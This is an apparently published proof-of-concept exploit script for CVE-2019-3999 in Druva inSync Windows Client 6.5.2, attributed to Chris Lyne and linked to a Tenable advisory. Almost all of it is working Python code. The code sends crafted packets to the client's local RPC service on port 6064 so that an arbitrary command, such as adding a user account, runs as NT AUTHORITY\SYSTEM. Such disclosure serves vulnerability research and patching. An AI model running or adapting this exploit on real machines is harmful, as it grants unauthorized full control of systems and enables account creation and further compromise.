# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation # Date: 2020-04-28 # Exploit Author: Chris Lyne # Vendor Homepage: druva.com # Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi # Version: 6.5.2 # Tested on: Windows 10 # CVE : CVE-2019-3999 # See also: https://www.tenable.com/security/research/tra-2020-12 import socket import struct import sys # Command injection in inSyncCPHwnet64 RPC service # Runs as nt authority\system. so we have a local privilege escalation if len(sys.argv) < 2: print "Usage: " + __file__ + " <quoted command to execute>" print "E.g. " + __file__ + " \"net user /add tenable\"" sys.exit(0) ip = '127.0.0.1' port = 6064 command_line = sys.argv[1] # command gets passed to CreateProcessW def make_wide(str): new_str = '' for c in str: new_str += c new_str += '\x00' return new_str hello = "inSync PHC RPCW[v0002]" func_num = "\x05\x00\x00\x00" # 05 is to run a command command_line = make_wide(command_line) command_length = struct.pack('<i', len(command_line)) # send each request separately requests = [ hello, func_num, command_length, command_line ] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) i = 1 for req in requests: print 'Sending request' + str(i) sock.send(req) i += 1 sock.close() print "Done."